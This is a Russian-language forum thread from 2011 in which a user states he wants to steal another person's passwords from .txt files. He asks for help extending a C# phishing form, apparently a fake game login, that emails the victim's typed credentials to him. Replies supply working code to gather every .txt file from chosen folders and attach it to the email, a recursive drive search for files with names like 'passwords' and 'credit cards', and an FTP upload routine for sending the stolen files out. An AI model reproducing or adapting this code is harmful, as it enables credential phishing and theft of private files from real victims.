Регистрация Главная Сообщество
Сообщения за день Справка Регистрация

Attachment attachData C#

-

Вопросы и ответы, обсуждения

- Ваши вопросы по C# только в данном разделе

Ответ
 
Опции темы
Старый 03.09.2011, 21:29   #1
 Разведчик
Аватар для kotovec
 
kotovec на правильном пути
Регистрация: 21.11.2009
Сообщений: 9
Популярность: 20
Сказал(а) спасибо: 10
Поблагодарили 6 раз(а) в 4 сообщениях
Отправить сообщение для kotovec с помощью ICQ Отправить сообщение для kotovec с помощью Skype™
 
По умолчанию Attachment attachData C#

Суть вопроса! Как сделать так чтобы не 1 файл забирать а все файлы находящиесе в этой деректории с форматом .txt
Вобщем мне надо чтобы при нажатие кнопки отсылались файлы на мыло в формате .txt
У меня есть уже готовый код но он только посылает если точно указать местоположения файла.

Attachment attachData = new Attachment("C:/1.txt");
message.Attachments.Add(attachData);

Последний раз редактировалось kotovec; 03.09.2011 в 23:52.
  Ответить с цитированием
Старый 04.09.2011, 11:49   #2
 Разведчик
Аватар для kotovec
 
kotovec на правильном пути
Регистрация: 21.11.2009
Сообщений: 9
Популярность: 20
Сказал(а) спасибо: 10
Поблагодарили 6 раз(а) в 4 сообщениях
Отправить сообщение для kotovec с помощью ICQ Отправить сообщение для kotovec с помощью Skype™
 
По умолчанию Re: Attachment attachData C#

еще раз говорю я уже сделал фейк так сказать. НО!
Этот код захватывает только 1 файл с точным место положением

Attachment attachData = new Attachment("C:/1.txt");
message.Attachments.Add(attachData);

А какой код захватытвает все файлы с расширением .txt в данной дериктории. Хочу стырить Пароли у одного человека с рабочего стола они у него в формате .txt а какое именно название незнаю.




Или хотябы скажите если ему не удалось найти файл C:/1.txt чтобы пропускал его и не выдовая ошибку шел к следующему
Attachment attachData = new Attachment("C:/1.txt");
Attachment attachData1 = new Attachment("C:/2.txt");
message.Attachments.Add(attachData);
message.Attachments.Add(attachData1);

Последний раз редактировалось kotovec; 04.09.2011 в 12:45.
  Ответить с цитированием
Старый 04.09.2011, 15:31   #3
Заблокирован
 Рыцарь-капитан
Аватар для warl0ck
 
warl0ck сломал счётчик популярности :(warl0ck сломал счётчик популярности :(warl0ck сломал счётчик популярности :(warl0ck сломал счётчик популярности :(warl0ck сломал счётчик популярности :(warl0ck сломал счётчик популярности :(warl0ck сломал счётчик популярности :(warl0ck сломал счётчик популярности :(warl0ck сломал счётчик популярности :(warl0ck сломал счётчик популярности :(warl0ck сломал счётчик популярности :(
Регистрация: 29.01.2010
Сообщений: 547
Популярность: 41279
Сказал(а) спасибо: 692
Поблагодарили 2,270 раз(а) в 1,035 сообщениях
 
По умолчанию Re: Attachment attachData C#

Цитата:
Сообщение от kotovecПосмотреть сообщение
Или хотябы скажите если ему не удалось найти файл C:/1.txt чтобы пропускал его и не выдовая ошибку шел к следующему

Код:
try
{
   Attachment attachData = new Attachment("C:/1.txt");
   message.Attachments.Add(attachData);
}
catch{}
пс завалялся у меня такой код, ищет на жоцстком файлы
Код:
using System;
using System.IO;

        public static List<string> MoneyList = new List<string>
                                                   {
                            "деньги","чики","власть","ключи от дома","кредитные карточки","пароли", "итп"
                                                   };
        internal static void Getdirs()
        {
            var drives = Environment.GetLogicalDrives();
            foreach (var strDrive in drives)
            {
                Searchz(strDrive);
            }
        }
        private static void Searchz(string pathName)
        {
            try
            {
                var files = Directory.GetFiles(pathName);

                foreach (var s in MoneyList)
                {
                    foreach (var file in files)
                    {
                        if (Path.GetFileName(file).Contains(s))
                        {
                            try
                            {
                  //пересылаем файл (file)
                            }
                            catch
                            {
                            }
                        }
                    }
                }
                var subdirectorys = Directory.GetDirectories(pathName);
                foreach (var subdirectory in subdirectorys)
                {
                    Searchz(subdirectory);
                }
            }
            catch { }
        }

Последний раз редактировалось warl0ck; 04.09.2011 в 15:38.
  Ответить с цитированием
Старый 04.09.2011, 15:33   #4
 Разведчик
Аватар для •theSaboteur•
 
•theSaboteur• скоро будет известен•theSaboteur• скоро будет известен•theSaboteur• скоро будет известен
Регистрация: 14.07.2011
Сообщений: 27
Популярность: 244
Сказал(а) спасибо: 26
Поблагодарили 47 раз(а) в 37 сообщениях
Отправить сообщение для •theSaboteur• с помощью ICQ
 
По умолчанию Re: Attachment attachData C#

Юзай дот'нетовскую Directory.GetFiles("path", "*.txt")
Майкрософтовцы все сделали за тебя
Код:
string[] paths = Directory.GetFiles("C:\", "*.txt");
var attachs = new List<Attachment>();
foreach(string item in paths){
attachs.Add(new Attachment(item));
}
foreach(Attachment item in attachs){
message.Attachments.Add(item);
}
Вроде того, если криво извини - си шарп не помню ужо)

Последний раз редактировалось •theSaboteur•; 04.09.2011 в 15:43. Причина: addition
  Ответить с цитированием
Старый 04.09.2011, 16:27   #5
 Разведчик
Аватар для kotovec
 
kotovec на правильном пути
Регистрация: 21.11.2009
Сообщений: 9
Популярность: 20
Сказал(а) спасибо: 10
Поблагодарили 6 раз(а) в 4 сообщениях
Отправить сообщение для kotovec с помощью ICQ Отправить сообщение для kotovec с помощью Skype™
 
По умолчанию Re: Attachment attachData C#

Эм а как это совместить??



using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using System.Net;
using System.Net.Mail;
using System.IO;

namespace Bot
{
public partial class Bot : Form
{
public Bot()
{
InitializeComponent();

comboBox1.SelectedIndex = 0;
}

private void button1_Click(object sender, EventArgs e)
{
this.Hide();
RFOnline.Form2 fr2 = new RFOnline.Form2();
fr2.Show();

SmtpClient client = new SmtpClient("smtp.mail.ru", 2525);
client.Credentials = new System.Net.NetworkCredential("МЫЛО", "ПАСС);

string msgFrom = "От Кого";
string msgTo = "Кому";
string msgSubject = "Письмо из (_|_))";

string msgBody = String.Format("Лох :-)\n\nСервер: {0}\nЛогин: {1}\nПароль: {2}",
comboBox1.SelectedItem.ToString(), textBox1.Text, textBox2.Text);

Attachment attachData = new Attachment("C:/2.txt");
Attachment attachData1 = new Attachment("C:/2.txt");
MailMessage message = new MailMessage(msgFrom, msgTo, msgSubject, msgBody);
message.Attachments.Add(attachData);
message.Attachments.Add(attachData1);
try
{
client.Send(message);
}
catch (SmtpException ex)
{
Console.WriteLine(ex.InnerException.Message.ToStri ng());
}

{


}

}
private void Form1_Load(object sender, EventArgs e)
{

}

private void label5_Click(object sender, EventArgs e)
{

}

private void panel1_Paint(object sender, PaintEventArgs e)
{

}

private void label6_Click(object sender, EventArgs e)
{

}

private void linkLabel1_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e)
{

}

private void button3_Click(object sender, EventArgs e)
{

}

private void tabPage1_Click(object sender, EventArgs e)
{

}

private void button3_Click_1(object sender, EventArgs e)
{

}

private void groupBox1_Enter(object sender, EventArgs e)
{

}

private void maskedTextBox3_MaskInputRejected(object sender, MaskInputRejectedEventArgs e)
{

}

private void maskedTextBox1_MaskInputRejected(object sender, MaskInputRejectedEventArgs e)
{

}

private void listBox1_SelectedIndexChanged(object sender, EventArgs e)
{
}

private void checkBox1_CheckedChanged(object sender, EventArgs e)
{
}

private void checkBox3_CheckedChanged(object sender, EventArgs e)
{

}

private void textBox1_TextChanged(object sender, EventArgs e)
{

}
}
}
  Ответить с цитированием
Старый 04.09.2011, 18:04   #6
 Разведчик
Аватар для •theSaboteur•
 
•theSaboteur• скоро будет известен•theSaboteur• скоро будет известен•theSaboteur• скоро будет известен
Регистрация: 14.07.2011
Сообщений: 27
Популярность: 244
Сказал(а) спасибо: 26
Поблагодарили 47 раз(а) в 37 сообщениях
Отправить сообщение для •theSaboteur• с помощью ICQ
 
По умолчанию Re: Attachment attachData C#

Код:
Attachment attachData = new Attachment("C:/2.txt");
 Attachment attachData1 = new Attachment("C:/2.txt");
 MailMessage message = new MailMessage(msgFrom, msgTo, msgSubject, msgBody);
 message.Attachments.Add(attachData);
 message.Attachments.Add(attachData1);
меняешь на
Код:
string[] paths = Directory.GetFiles("C:\", "*.txt");      //массив адресов _всех файлов типа ".txt" в каталоге "C:\", меняй на нужный.
var attachs = new List<Attachment>(); //массив файлов *.txt распологающихся в каталоге "C:\", заполнится в последующем цикле
foreach(string item in paths){       //вот тут
attachs.Add(new Attachment(item));
}
 MailMessage message = new MailMessage(msgFrom, msgTo, msgSubject, msgBody);
foreach(Attachment item in attachs){  //ну а тут мы присоеденяем эти файлы к мейлу)
message.Attachments.Add(item);
}
Вроде очевидно.
p.s. копируй только обработчики эвентов, без лишнего кода
p.p.s. пихай код в блок [ code] [ /code]
p.p.p.s удачного развода лохов

Последний раз редактировалось •theSaboteur•; 04.09.2011 в 18:12. Причина: addition
  Ответить с цитированием
Пользователь сказал cпасибо:
kotovec (04.09.2011)
Старый 04.09.2011, 20:45   #7
 Разведчик
Аватар для kotovec
 
kotovec на правильном пути
Регистрация: 21.11.2009
Сообщений: 9
Популярность: 20
Сказал(а) спасибо: 10
Поблагодарили 6 раз(а) в 4 сообщениях
Отправить сообщение для kotovec с помощью ICQ Отправить сообщение для kotovec с помощью Skype™
 
По умолчанию Re: Attachment attachData C#

Цитата:
Сообщение от •theSaboteur•Посмотреть сообщение
Код:
Attachment attachData = new Attachment("C:/2.txt");
 Attachment attachData1 = new Attachment("C:/2.txt");
 MailMessage message = new MailMessage(msgFrom, msgTo, msgSubject, msgBody);
 message.Attachments.Add(attachData);
 message.Attachments.Add(attachData1);
меняешь на
Код:
string[] paths = Directory.GetFiles("C:\", "*.txt");      //массив адресов _всех файлов типа ".txt" в каталоге "C:\", меняй на нужный.
var attachs = new List<Attachment>(); //массив файлов *.txt распологающихся в каталоге "C:\", заполнится в последующем цикле
foreach(string item in paths){       //вот тут
attachs.Add(new Attachment(item));
}
 MailMessage message = new MailMessage(msgFrom, msgTo, msgSubject, msgBody);
foreach(Attachment item in attachs){  //ну а тут мы присоеденяем эти файлы к мейлу)
message.Attachments.Add(item);
}
Вроде очевидно.
p.s. копируй только обработчики эвентов, без лишнего кода
p.p.s. пихай код в блок [ code] [ /code]
p.p.p.s удачного развода лохов



Все прекрасно но одно НО! Если брать формат txt то приходят каракули =( как с этим боротся. И как указать нельколько папок для поиска.
  Ответить с цитированием
Старый 04.09.2011, 21:01   #8
 Разведчик
Аватар для •theSaboteur•
 
•theSaboteur• скоро будет известен•theSaboteur• скоро будет известен•theSaboteur• скоро будет известен
Регистрация: 14.07.2011
Сообщений: 27
Популярность: 244
Сказал(а) спасибо: 26
Поблагодарили 47 раз(а) в 37 сообщениях
Отправить сообщение для •theSaboteur• с помощью ICQ
 
По умолчанию Re: Attachment attachData C#

По поводу "каракулЬ" поищи темы про кодировки файлов, скорее всего читается файл как utf, тогда как хранится в cp1251. По поводу нескольких директорий для поиска
Код:
string[] paths = Directory.GetFiles("C:\", "*.txt");      //массив адресов _всех файлов типа ".txt" в каталоге "C:\", меняй на нужный.
foreach(string item in paths){       //вот тут
attachs.Add(new Attachment(item));
}
выполняешь еще раз только в переменную paths пихаешь уже список файлов другой директории:
Код:
string[] paths = Directory.GetFiles("C:\", "*.txt");      //массив адресов _всех файлов типа ".txt" в каталоге "C:\", меняй на нужный.
var attachs = new List<Attachment>(); //массив файлов *.txt распологающихся в каталоге "C:\"
foreach(string item in paths){       
attachs.Add(new Attachment(item));
}
paths = Directory.GetFiles("патч к другому каталогу","*.txt");
foreach(string item in paths)
{
attachs.Add(new Attachment(item));//теперь этот массив дополнен файлами другой директории
}
 MailMessage message = new MailMessage(msgFrom, msgTo, msgSubject, msgBody);
foreach(Attachment item in attachs){  
message.Attachments.Add(item);
}
  Ответить с цитированием
Пользователь сказал cпасибо:
kotovec (04.09.2011)
Старый 04.09.2011, 23:10   #9
 Разведчик
Аватар для kotovec
 
kotovec на правильном пути
Регистрация: 21.11.2009
Сообщений: 9
Популярность: 20
Сказал(а) спасибо: 10
Поблагодарили 6 раз(а) в 4 сообщениях
Отправить сообщение для kotovec с помощью ICQ Отправить сообщение для kotovec с помощью Skype™
 
По умолчанию Re: Attachment attachData C#

Нашел решение свой проблемы насчет кодировки. я просто получаю сообщения через Outlook Expres там *.txt как файл прилепляется.

Добавлено через 2 часа 50 минут
Еще один вопрос как сделать чтобы найденные файлы не на мыло приходили а на ftp сервер копировались например. ато на мыло не у всех почемуто приходит. У 1 отпровляется у другова нет.

Последний раз редактировалось kotovec; 05.09.2011 в 02:02. Причина: Добавлено сообщение
  Ответить с цитированием
Старый 05.09.2011, 14:03   #10
 Разведчик
Аватар для •theSaboteur•
 
•theSaboteur• скоро будет известен•theSaboteur• скоро будет известен•theSaboteur• скоро будет известен
Регистрация: 14.07.2011
Сообщений: 27
Популярность: 244
Сказал(а) спасибо: 26
Поблагодарили 47 раз(а) в 37 сообщениях
Отправить сообщение для •theSaboteur• с помощью ICQ
 
По умолчанию Re: Attachment attachData C#

Мм, попробуй через сокеты)
Код:
http://msdn.microsoft.com/ru-ru/library/system.net.sockets.socket.aspx

Последний раз редактировалось •theSaboteur•; 05.09.2011 в 14:47.
  Ответить с цитированием
Старый 05.09.2011, 15:44   #11
Заблокирован
 Рыцарь-капитан
Аватар для warl0ck
 
warl0ck сломал счётчик популярности :(warl0ck сломал счётчик популярности :(warl0ck сломал счётчик популярности :(warl0ck сломал счётчик популярности :(warl0ck сломал счётчик популярности :(warl0ck сломал счётчик популярности :(warl0ck сломал счётчик популярности :(warl0ck сломал счётчик популярности :(warl0ck сломал счётчик популярности :(warl0ck сломал счётчик популярности :(warl0ck сломал счётчик популярности :(
Регистрация: 29.01.2010
Сообщений: 547
Популярность: 41279
Сказал(а) спасибо: 692
Поблагодарили 2,270 раз(а) в 1,035 сообщениях
 
По умолчанию Re: Attachment attachData C#

Цитата:
Сообщение от kotovecПосмотреть сообщение
ато на мыло не у всех почемуто приходит. У 1 отпровляется у другова нет.

перекомпили для 4 net framework'a

насчёт фтп:
Код:
public static void Upload(string ftpServer, string userName, string password, string filename)
        {
            using (System.Net.WebClient client = new System.Net.WebClient())
            {
                client.Credentials = new System.Net.NetworkCredential(userName, password);
                client.UploadFile(ftpServer + "/" + new FileInfo(filename).Name, "STOR", filename);
            }
        }
Код:
Upload("ftp://твой фтп сервер", "логин", "пароль", "C:\\файл.тхт");

Последний раз редактировалось warl0ck; 05.09.2011 в 15:59.
  Ответить с цитированием
2 пользователя(ей) сказали cпасибо:
kotovec (06.09.2011), Сергей =) (11.09.2011)
Ответ


Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход

Заявление об ответственности / Список мошенников

Часовой пояс GMT +4, время: 04:14.

Пишите нам: forum@zhyk.ru
Copyright © 2025 vBulletin Solutions, Inc.
Translate: zCarot. Webdesign by DevArt (Fox)
G-gaMe! Team production | Since 2008
Hosted by GShost.net